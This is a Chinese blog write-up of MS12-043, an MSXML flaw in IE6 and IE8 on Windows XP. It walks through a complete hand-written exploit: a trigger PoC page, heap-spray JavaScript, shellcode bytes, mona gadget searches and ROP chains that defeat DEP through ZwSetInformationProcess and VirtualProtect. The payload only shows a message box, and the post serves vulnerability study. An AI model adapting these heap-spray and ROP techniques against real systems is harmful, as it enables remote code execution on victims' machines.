selph
selph
发布于 2022-04-13 / 539 阅读
0
0

漏洞分析:MS12-043+手写ROP全流程

这是个练习写ROP的好例子

漏洞介绍

软件简介

Microsoft XML Core Services (MSXML)是一组服务,可用JScript、VBScript、Microsoft开发工具编写的应用构建基于XML的Windows-native应用。

漏洞成因

Microsoft XML Core Services 3.0、4.0、5.0和6.0版本中存在漏洞,该漏洞源于访问未初始化内存位置。远程攻击者可利用该漏洞借助特制的web站点,执行任意代码或导致拒绝服务(内存破坏)。

该漏洞产生于msxml3.dll模块中,msxml3.dll是微软的一个SAX2 帮助程序类。主要用途包括:XSL 转换 (XSLT) 和 XML 路径语言 (XPath) 的完全实现、对 XML (SAX2) 实现的简单 API 的修改,包括与万维网联合会 (W3C) 标准和 OASIS 测试套件保持更高一致性。

实验环境

  • 虚拟机:Windows XP SP3
  • 虚拟机:Kali Linux
  • 漏洞程序:IE6 + IE8
  • IDA + x86dbg + immdbg mona插件

漏洞复现

kali的msf里查找MS12-043,看有没有现成的利用:

image-20220411163406227

刚好有一个,设置payload:set payload windows/execset CMD calc.exerun

image-20220411163756807

启动了一个本地HTTP Server,这个服务器应该就是提供poc页面了:

使用Windows XP SP3自带的IE6打开,直接弹出计算器:

image-20220411170206364

复现成功,该环境的IE6存在该漏洞,接下来对漏洞样本进行分析

漏洞分析

漏洞触发POC:

<html>
<head>
    <title>CVE 2012-1889 PoC</title>
</head>
<body>
        //"clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4"是MSXML3.dll中使用到的ID
    <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object>
    <script>
        var obj = document.getElementById('poc').object;//获取obj对象,类id为"msxml3",对象id为"poc"
        var src = unescape("%u0c0c%u0c0c");             //0c0c
        while (src.length < 0x1002) src += src;         //循环拼接路径
        src = "\\\\xxx" + src;                          //拼接路径
        src = src.substr(0, 0x1000 - 10);				//截断最后10字符
        var pic = document.createElement("img");        //创建图片元素pic
        pic.src = src;                                  //图片元素pic的路径赋值,路径是0xFF6字节的0c0c0c0c,将会溢出栈空间
        pic.nameProp;
        obj.definition(0);                              //定义并初始化一个空的对象
    </script>
</body>
</html>

通过看POC代码可知,这里漏洞的触发是因为解析img标签src属性处理src的值的时候处理不当导致溢出从而产生漏洞

反汇编里往上追溯溢出值的来源,没太明白是怎么回事

具体参考 [原创] CVE-2012-1889 暴雷漏洞详细分析(偏向成因)-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com

感觉现阶段还不足以弄明白是怎么一回事,本次主要就当练习写rop了


保存poc为html文件,通过实验环境的IE6打开,程序奔溃,x86dbg接管调试:

image-20220412101540266

在程序异常处发现这里eax的值已经被我们输入的值给覆盖了,也就是说,eax的值可控,来自于栈中,并且之后会从eax里取出地址,然后赋值给ecx,然后call [ecx+0x18],拿到控制权

为了方便测试,在物理机编辑HTML,开启一个http服务器给虚拟机访问:

python -m http.server 8080

这里的一个思路就是通过堆喷覆盖高位地址0x0c0c0c0c,然后触发漏洞,构造内容使得能通过下面那个call得到控制权,这里使用上次分析CVE-2010-2883时候见到的堆喷代码,改一改shellcode:

var shellcode = unescape('%u0c0c%u0c0c'+    // mov ecx, [eax]
                        '%u4141%u4141'+
                        '%u4141%u4141'+
                        '%u4141%u4141'+
                        '%u4141%u4141'+
                        '%u4141%u4141'+
                        '%uaaaa%uaaaa'      // [ecx+0x18]
                        );
var var_C = unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (var_C.length + 20 + 8 < 65536) var_C+=var_C;	
var_D = var_C.substring(0, (0x0c0c-0x24)/2);
var_D += shellcode;	// 拼接shellcode
var_D += var_C;		// 拼接滑块代码
var_E = var_D.substring(0, 65536/2);
while(var_E.length < 0x80000) var_E += var_E;
var_H = var_E.substring(0, 0x80000 - (0x1020-0x08) / 2); // 7F7F4
var var_F = new Array();
for (var_G=0;var_G<0x1f0;var_G++) var_F[var_G]=var_H+"s";

这个代码就是申请将近1M大小的数组成员的数组,通过堆喷将shellcode精准填充到0x0c0c0c0c位置上,访问链接测试:

image-20220412114826713

可以看到,0x0c0c0c0c已经覆盖了我们编写的shellcode,这里call会跳转到0xAAAAAAAA这个地址上:

image-20220412114852694

到此已经成功拿到控制权了,只要合理构造shellcode即可完成利用,接下来进行ROP的构造

漏洞利用:XP+IE6

ROP的意义在于绕过保护执行shellcode,Windows XP + IE 6环境下默认没有DEP保护,所以可以直接去堆中执行代码

这里需要使用js写shellcode,这里去网上(参考资料[4])白嫖了一个shellcodeC语言转JS语言的代码:

int main(int argc,char* argv[])
{
	
	//mergeSort(a, 0, 5);

	unsigned char buf[] = {
			"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
			"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
			"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
			"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
			"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
			"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
			"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
			"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
			"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
			"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
			"\x53\xFF\x57\xFC\x53\xFF\x57\xF8" };

		int i = 0;
		int n = sizeof(buf) - 1;
		if (n & 1) n--;
		FILE* fp = fopen("shellocde.txt", "w");
		for (i = 0; i < n; i += 2)
		{
			fprintf(fp, "\\u%02X%02X", buf[i + 1], buf[i]);
		}
		n = sizeof(buf) - 1;
		if (n & 1)
		{
			fprintf(fp, "\\u%02X%02X", 0, buf[i]);
		}
		fclose(fp);

	return 0;
}

这里自带的shellcode是0day里面那个failwest的MessageBox,这里也就用这个吧

构造shellcode:

var shellcode = unescape('%u0bf8%u0c0c'+    // mov ecx, [eax] 0x0c0c0bf8
                        '%u0c14%u0c0c'      // [ecx+0x18]
                        );
shellcode+="\u68FC\u0A6A\u1E38\u6368\uD189\u684F\u7432\u0C91\uF48B\u7E8D\u33F4\uB7DB\u2B04\u66E3\u33BB\u5332\u7568\u6573\u5472\uD233\u8B64\u305A\u4B8B\u8B0C\u1C49\u098B\u698B\uAD08\u6A3D\u380A\u751E\u9505\u57FF\u95F8\u8B60\u3C45\u4C8B\u7805\uCD03\u598B\u0320\u33DD\u47FF\u348B\u03BB\u99F5\uBE0F\u3A06\u74C4\uC108\u07CA\uD003\uEB46\u3BF1\u2454\u751C\u8BE4\u2459\uDD03\u8B66\u7B3C\u598B\u031C\u03DD\uBB2C\u5F95\u57AB\u3D61\u0A6A\u1E38\uA975\uDB33\u6853\u6577\u7473\u6668\u6961\u8B6C\u53C4\u5050\uFF53\uFC57\uFF53\uF857";                        

测试:

image-20220412131406389

shellcode成功执行,完成利用

漏洞利用:XP+IE8(1)

本节内容采用ZwSetInformationProcess的方法绕过DEP,写完ROP之后发现还是运行不了,经过搜索得知,IE8调用过该API,该API只有第一次调用有效,所以本节纯属踩坑,可跳过本节“绕过DEP部分”看下一节用其他方法绕过DEP

Windows XP + IE8 开启了DEP,且堆堆喷做出了限制,直接用字符串赋值的方式会被禁止,js代码会执行失败,再次访问这个poc地址,异常后调试会发现0x0c0c0c0c这个地址没有申请出来,不存在

所以需要修改堆喷的代码,将原来的:

for (var_G=0;var_G<0x1f0;var_G++) var_F[var_G]=var_H+"s";

修改为:

for (var_G=0;var_G<0x1f0;var_G++) var_F[var_G]=var_H.substr(0,var_H.length)+"s";

再次访问刚刚的poc地址:

image-20220412133630995

触发DEP数据执行保护,点击调试进去:

image-20220412133702092

EIP寄存器指向了我们的弹窗shellcode,且此处发生0xC00000005执行访问违例的异常,这也说明了是DEP的影响,导致这里无法执行

所以需要想个办法来绕过DEP保护来执行shellcode,根据之前学习DEP的经验,可以通过跳转到ZwSetInformationProcess函数将进程的DEP关闭后再转入shellcode执行

一个进程的DEP设置的标识保存在_KEPROCESS中的_KEXECUTE_OPTIONS上,可通过ZwSetInformationProcess进行修改,该结构体声明:

//0x1 bytes (sizeof)
struct _KEXECUTE_OPTIONS
{
    UCHAR ExecuteDisable:1;			//0x0 DEP开启时,设置为1
    UCHAR ExecuteEnable:1;			//0x0 DEP关闭时,设置为1
    UCHAR DisableThunkEmulation:1;	//0x0 兼容ATL程序用的
    UCHAR Permanent:1;				//0x0 设置1后,这些标志不能再修改
    UCHAR ExecuteDispatchEnable:1;	//0x0 
    UCHAR ImageDispatchEnable:1;	//0x0
    UCHAR Spare:2;					//0x0
}; 

影响DEP的是前两位,只要设置该结构体的值为0x02即可关闭DEP

设置函数ZwSetInformationProcess:

NTSYSCALLAPI 
NTSTATUS NTAPI ZwSetInformationProcess	(	
    _In_ HANDLE 	ProcessHandle,	// 进程句柄,设置为-1时表示当前进程
	_In_ PROCESSINFOCLASS 	ProcessInformationClass,	// 信息类
	_In_ PVOID 	ProcessInformation,			// 设置_KEXECUTE_OPTIONS
	_In_ ULONG 	ProcessInformationLength 	// 第三个参数的长度
)	

根据参考资料[6],可知,关闭DEP需要的参数依次是:-1,0x22,0x2,0x4

当一个进程的Permanent位没有设置,加载DLL时,会对DLL进行DEP兼容性检查,如果存在兼容性问题则会关闭DEP,有一个函数LdrpCheckNXCompatibility内部进行兼容性判断,判断兼容性有问题,就会调用ZwSetInformationProcess函数:(使用windbg查看该程序)

0:000> uf ntdll!LdrpCheckNXCompatibility
ntdll!LdrpCheckNXCompatibility:
7c93cd11 8bff            mov     edi,edi
7c93cd13 55              push    ebp
7c93cd14 8bec            mov     ebp,esp
7c93cd16 51              push    ecx
7c93cd17 8365fc00        and     dword ptr [ebp-4],0
7c93cd1b 56              push    esi
7c93cd1c ff7508          push    dword ptr [ebp+8]
7c93cd1f e887ffffff      call    ntdll!LdrpCheckSafeDiscDll (7c93ccab);检查是否是SafeDiskDll
7c93cd24 3c01            cmp     al,1	; al和1对比,如果检查成功,al会返回1,所以这里要设置为1
7c93cd26 6a02            push    2		
7c93cd28 5e              pop     esi	; 给esi设置为2
7c93cd29 0f84df290200    je      ntdll!LdrpCheckNXCompatibility+0x1a (7c95f70e) ; 跳转(见末尾)
 
ntdll!LdrpCheckNXCompatibility+0x1d:
7c93cd2f 837dfc00        cmp     dword ptr [ebp-4],0	; ebp-4和0对比,判断ebp-4是不是2,如果是2,就会跳转到DEP关闭的流程
7c93cd33 0f85f89a0100    jne     ntdll!LdrpCheckNXCompatibility+0x4d (7c956831); 不相同则跳转,这里会跳转(见下面)
 
...
 
ntdll!LdrpCheckNXCompatibility+0x5c:
7c93cd6d 5e              pop     esi	
7c93cd6e c9              leave
7c93cd6f c20400          ret     4		; 返回 ret 4
 
ntdll!LdrpCheckNXCompatibility+0x4d:
7c956831 6a04            push    4		; 4
7c956833 8d45fc          lea     eax,[ebp-4]
7c956836 50              push    eax	; 2
7c956837 6a22            push    22h	; 0x22
7c956839 6aff            push    0FFFFFFFFh	; -1
7c95683b e84074fdff      call    ntdll!ZwSetInformationProcess (7c92dc80);刚好是关闭DEP的参数,跳转到这里把DEP关闭了
7c956840 e92865feff      jmp     ntdll!LdrpCheckNXCompatibility+0x5c (7c93cd6d); 往回跳转(见上面)
 
ntdll!LdrpCheckNXCompatibility+0x1a:
7c95f70e 8975fc          mov     dword ptr [ebp-4],esi	; 把esi赋值给[ebp-4]
7c95f711 e919d6fdff      jmp     ntdll!LdrpCheckNXCompatibility+0x1d (7c93cd2f); 跳转回去

这里可以直接跳转到这个判断处(0x7c93cd24),提前把al设置成1,走al=1的逻辑,这就是关闭DEP的流程

现在要做的事情流程已经很清楚了,就是:

  1. 切换ebp到0x0c0c0c0c,控制堆栈
  2. 给al赋值为1
  3. 跳转到0x7c93cd24处关闭DEP
  4. 跳转到shellcode执行

使用msf自带的工具msfpescan协助找跳板

踩坑

这里IE8打开链接的时候会创建子进程,然而每次加载msxml3.dll的基址还不一样,导致这里调试出现了困难,这里需要找一个其他基址不变的模块来寻找跳板

这里由于创建了子进程,直接触发崩溃实时调试器接管不到崩溃前的状态,所以没法从断点一点一点往下看执行和栈,使用x86dbg插件dbgchild也没法在进入rop之前断下来

这里的解决方案是,直接就让他进入后面的异常处理部分,然后修改EIP指针回到漏洞的触发点来跟进shellcode的编写:

image-20220412171233538

因为进入rop之后,包括堆栈和寄存器都是我们自己构造的,所以这里直接修改eip为触发漏洞前的地址,和eax=0x0c0c0c0c,这两个值都是触发漏洞的时候必然等于的,这样来进行调试是没问题的

或者可以把IE8卸载了,装回IE6,再上面写完绕过DEP的ROP再装回IE8测试,这里采用的是先用IE6来写

构造ROP-拿到控制权

首先需要修改栈顶esp到我们构造的内存里头

想找一个pop xxx;pop esp;ret的指令,找了半天没找到

找到了pop esp;ret指令,但是call过去会有返回地址入栈,也没法修复esp

经过一个下午的搜索尝试,发现还有这个指令可用:xchg eax,esp;ret,可以把eax里的0x0c0c0c0c交换给esp,然而还是不行,因为交换过去之后,esp里存放的一定不是能操作的返回地址

mona搜索xchg eax,esp;ret

Log data, item 21
 Address=75C7BC70
 Message=  0x75c7bc70 : "\x94\xc3" |  {PAGE_EXECUTE_READ} [urlmon.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\urlmon.dll)

再次观察一下这段代码:

image-20220412192101867

整理一下当前的信息:

  1. shellcode中可控内容从0x0c0c0c0c开始,且0x0c0c0c0c之前的内存的值均为0x0c0c0c0c
  2. eax的值是我们可以操纵的
  3. esi的值来自eax
  4. ecx的值来自[eax]
  5. 第一个call使用的是[ecx+0x18]的值,也就是说[[eax]+0x18]这个地址是第一个call的地址,此时交换esp会导致无法跳转卡住,直接使用ret可以跳过
  6. 第一个call之后会赋值eax = [esi],如果[esi]和esi不相同的话,[esi]是一个保存指令的地址,那么xchg之后ret就可以使用了
  7. 第二个call使用的是[eax+8]

综上,可以得出,给eax填充0x0c0c0c08,该地址的值为0x0c0c0c0c,不会影响第一个call所在的0x0c0c0c24,然后在第一个call之后,会给eax赋值0x0c0c0c0c,相比第一个call直接使用xchg,0x0c0c0c0c的值是可修改的了,因为使用了0x0c0c0c08来作为基址计算第一个call的地址,这时再进行xchg就可以拿到控制流了

构造shellcode:

var shellcode = "\u4141\u4242"+ // esp
    			"\u9090\u9090"+ //
                "\ubc70\u75c7"+ // call [ecx+0x18] ret
    			"\u9090\u9090\u9090\u9090\u9090\u9090"+	// fill
                "\ubc71\u75c7"  // xchg eax,esp;ret 
                ;

测试:

image-20220412194009844

此时esp已经是可控的了,接下来就方便构造返回地址了

构造ROP绕过DEP

接下来需要给al赋值1,mov al,1;ret,使用immdbg的mona插件进行搜索:

>!mona find -s "\xB0\x01\xc3" -m "kernel32.dll"
...
Log data, item 14
 Address=7C80C190
 Message=  0x7c80c190 : "\xB0\x01\xc3" |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\kernel32.dll)

然后接下来就是跳转去0x7c93cd24关闭DEP了:

构造shellcode:

var shellcode = "\uc190\u7c80"+ // mov al,1 ret
    			"\ucd24\u7c93"+ // Close DEP 0x7c93cd24
                "\ubc70\u75c7"+ // call [ecx+0x18] ret
    			"\u9090\u9090\u9090\u9090\u9090\u9090"+
                "\ubc71\u75c7"  // xchg eax,esp;ret 
                ;                        

测试调试:

image-20220412194950868

不行,出问题了,这里leave指令会把ebp给esp,这里还需要先修复一下ebp才行

找一个push esp; pop ebp; ret指令

Log data, item 19
 Address=75CC97D8
 Message=  0x75cc97d8 : "\x54\x5d\xc2" |  {PAGE_EXECUTE_READ} [urlmon.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\urlmon.dll)
 
 Log data, item 3
 Address=76FE67B0
 Message=  0x76fe67b0 : "\x54\x5d\xc2\x08" |  {PAGE_EXECUTE_READ} [CLBCATQ.DLL] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v2001.12.4414.700 (C:\WINDOWS\system32\CLBCATQ.DLL)

修复完ebp,然后给al赋值1,关闭DEP,构造shellcode:

var shellcode = "\u97d8\u75cc"+ // repire ebp push esp pop ebp ret 4 0x75CC97D8
    			"\uc190\u7c80"+ // mov al,1 ret
                "\ubc70\u75c7"+ // call [ecx+0x18] ret
    			"\ucd24\u7c93"+ // CLOSE DEP
                "\u9090\u9090"+
                "\u9090\u9090"+
                "\ubc71\u75c7"  // xchg eax,esp;ret 
                ;                        

调试:

image-20220412200037901

可见,调用完成之后,esp位置原有内容被覆盖了,到这里又卡住了,这里ebp在esp上面,导致最后交换ebp和esp的时候,esp的位置靠上,而非靠下,靠下的地址我们好控制,靠上的0x0c0c0c14是没法再控制的,所以需要给ebp一个合适的可控的位置,从而能控制返回地址:

pop ebp,ret

Log data, item 22
 Address=75C61CD6
 Message=  0x75c61cd6 : "\x5d\xc3" |  {PAGE_EXECUTE_READ} [urlmon.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\urlmon.dll)

这里给ebp一个紧挨着ROP的地方,shellcode构造:

var shellcode = "\u67b0\u76fe"+ // repire ebp push esp pop ebp ret 8 0x76fe67b0
    			"\uc190\u7c80"+ // mov al,1 ret
                "\ubc70\u75c7"+ // xchg esp, eax ret
                "\u9090\u9090"+ 
                "\u1cd6\u75c6"+ // pop ebp ret 0x75C61CD6
    			"\u0c28\u0c0c"+ // ebp value
                "\ubc71\u75c7"+ // call [ecx+0x18] ret 
    			"\ucd24\u7c93"+ // CLOSE DEP
                "\u0c30\u0c0c"  // shellcode address
                ;                        

这里给ebp的地址就是这个地址就是ebp下面一点的位置:

image-20220412210133030

然后接下来跳转到ret里:

image-20220412210207249

接下来紧接着就是关掉DEP的跳转,执行到最后:esp的位置会是ebp+4的地方,也就是0x0c0c0c2C:

image-20220412210300320

往这里填写shellcode的地址就可以直接跳转去执行了,go:

image-20220412210345991

IE6成功通过修改DEP的ROP弹窗,接下来换IE8

IE6的利用移植IE8

更新了IE8之后发现还是不能运行,点开调试发现有些IE6上的地址在IE8上不能用

注意:找滑板指令一定要找系统自带的那种,软件的dll可能会更新,然后地址就变了

接下来搜索相应的功能指令地址替换回去即可

替换xchg esp,eax;ret为kernel32.dll中的地址

Log data, item 18
 Address=7C830E49
 Message=  0x7c830e49 : "\x94\xc3" |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\kernel32.dll)

替换pop ebp;ret

Log data, item 5
 Address=77BEBB7C
 Message=  0x77bebb7c : "\x5d\xc3" |  {PAGE_EXECUTE_READ} [msvcrt.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v7.0.2600.5512 (C:\WINDOWS\system32\msvcrt.dll)

结论

失败了,经过一番搜索(参考资料[8])得知,这个函数只有第一次调用的时候有效,IE8调用过这个函数,所以这个函数再次调用就无效了,所以用这种方法绕过IE8的DEP失败,接下来使用下一种方法绕DEP

今天就到这里(从早上10点肝到晚上10点告诉我就这???),明天继续,明天看我半天肝出来!

漏洞利用:WindowsXP+IE8(2)

下一个绕过DEP的方法:使用VirtualProtect绕过DEP

函数声明:

BOOL VirtualProtect(
  [in]  LPVOID lpAddress,		// 地址
  [in]  SIZE_T dwSize,			// 大小
  [in]  DWORD  flNewProtect,	// 保护属性,可执行是0x40
  [out] PDWORD lpflOldProtect	// 保存旧的保护属性,需要一个可写的地址即可
);

使用windbg查看:

0:000> uf VirtualProtect
kernel32!VirtualProtect:
7c801ad4 8bff            mov     edi,edi
7c801ad6 55              push    ebp
7c801ad7 8bec            mov     ebp,esp
7c801ad9 ff7514          push    dword ptr [ebp+14h]	;旧的属性
7c801adc ff7510          push    dword ptr [ebp+10h]	;修改属性
7c801adf ff750c          push    dword ptr [ebp+0Ch]	;修改大小
7c801ae2 ff7508          push    dword ptr [ebp+8]		;修改地址
7c801ae5 6aff            push    0FFFFFFFFh		;当前进程
7c801ae7 e875ffffff      call    kernel32!VirtualProtectEx (7c801a61)
7c801aec 5d              pop     ebp
7c801aed c21000          ret     10h

只需要在栈里准备好参数之后跳转到0x7c801ad9进行调用即可

刚刚拿到控制流的shellcode:

var shellcode = "\u4141\u4242"+ // esp
    			"\u9090\u9090"+ 
                "\ubc70\u75c7"+ // call [ecx+0x18] ret
    			"\u9090\u9090"+
    			"\u9090\u9090"+
    			"\u9090\u9090"+	// fill
                "\ubc71\u75c7"  // xchg eax,esp;ret 
                ;

接下来要做的事情:

  1. 把esp放到安全的地方
  2. 修复ebp
  3. 调用函数
  4. 跳转至shellcode执行

还是拿刚刚找到的跳板:

地址 指令
0x77BEBB7C pop ebp ret
0x770F17A3 ret 8
0x7c830e49 xchg esp, eax

构造shellcode如下:

var shellcode = "\u17a3\u770f"+ // ret 8 770F17A3
    			"\ubb7c\u77be"+ // pop ebp ret 0x77BEBB7C
                "\u0e49\u7c83"+ // xchg eax,esp;ret 0x7C830E4a 
    			"\u9090\u9090"+ 
    			"\u0c20\u0c0c"+	// ebp value
                "\u1ad9\u7c80"+ // VirtualProtect 0x7c801ad9
                "\u0e4a\u7c83"+ // call [ecx+0x18] ret 0x7C830E49
    		//	"\u9090\u9090"+ // 异常断程序用的,和上面那一行互换即可
				"\u0c38\u0c0c"+ // Param address
                "\u1000\u0000"+ // Param Size
                "\u0040\u0000"+ // Param Protect 0x40
                "\u0c0c\u0c00"  // Old Protect                
;

首先一个ret 8,跳转到pop ebp ret的同时在栈中跳过xchg esp,ear ret指令的地址

弹出为ebp构造的值,该值位置保存有VirtualProtect需要的参数:

image-20220413110418579

这里参数里的最后一个入栈的就是shellcode首地址了

执行完成之后

image-20220413110527595

直接跳转到shellcode里进行执行,一气呵成,效果展示:

MS12-043


完整利用代码:vul-analysis-study/MS12-043 at main · kn0sky/vul-analysis-study (github.com)

参考资料


评论